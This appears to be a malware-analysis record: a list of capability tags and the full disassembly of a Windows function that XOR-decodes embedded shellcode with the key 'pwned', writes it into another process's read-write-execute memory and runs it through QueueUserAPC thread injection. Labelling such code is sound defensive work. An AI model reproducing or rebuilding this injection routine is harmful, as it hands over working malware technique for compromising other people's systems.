Function at 0x140007d10
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Inject apc

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140008110
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x140007d4e
lea rax, str.Could_not_find_the_target_process_n
mov rcx, rax
call fcn.140008200
mov eax, 1
jmp 0x14000806f
mov eax, dword [rbp - 0xc]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140007d96
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.OpenProcess_failed:__lu_n
mov rcx, rax
call fcn.140008200
mov eax, 1
jmp 0x14000806f
mov dword [rbp - 4], 0
jmp 0x140007dfa
mov rdx, qword [0x1400090c0]
mov eax, dword [rbp - 4]
add rax, rdx
movzx r8d, byte [rax]
mov ecx, dword [rbp - 4]
movabs rdx, 0xcccccccccccccccd
mov rax, rcx
mul rdx
shr rdx, 2
mov rax, rdx
shl rax, 2
add rax, rdx
sub rcx, rax
mov rdx, rcx
lea rax, str.pwned
movzx ecx, byte [rdx + rax]
mov rdx, qword [0x1400090c0]
mov eax, dword [rbp - 4]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp rax, qword [rbp + 0x18]
jb 0x140007d9f
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140007e6c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.VirtualAllocEx_failed:__lu_n
mov rcx, rax
call fcn.140008200
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x14000806f
mov rcx, qword [0x1400090c0]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x140007ef7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.WriteProcessMemory_failed:__lu_n
mov rcx, rax
call fcn.140008200
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x14000806f
mov edx, 0
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0xffffffffffffffff
jne 0x140007f65
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateToolhelp32Snapshot_failed:__lu_n
mov rcx, rax
call fcn.140008200
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x14000806f
mov dword [rbp - 0x50], 0x1c
mov dword [rbp - 8], 0
lea rdx, [rbp - 0x50]
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
setne al
test al, al
je 0x140007fb5
mov eax, dword [rbp - 0x44]
cmp dword [rbp - 0xc], eax
jne 0x140007f9c
mov eax, dword [rbp - 0x48]
mov dword [rbp - 8], eax
jmp 0x140007fb5
lea rdx, [rbp - 0x50]
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
setne al
test al, al
jne 0x140007f8c
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp - 8], 0
je 0x14000802b
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov rdx, rax
mov rax, qword [rbp - 0x30]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Shellcode_injected_successfully_n
mov rcx, rax
call fcn.140008200
mov eax, 0
jmp 0x14000806f
lea rax, str.Could_not_find_a_suitable_thread_in_the_target_process_n
mov rcx, rax
call fcn.140008200
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
sub rsp, 0xffffffffffffff80
pop rbp
ret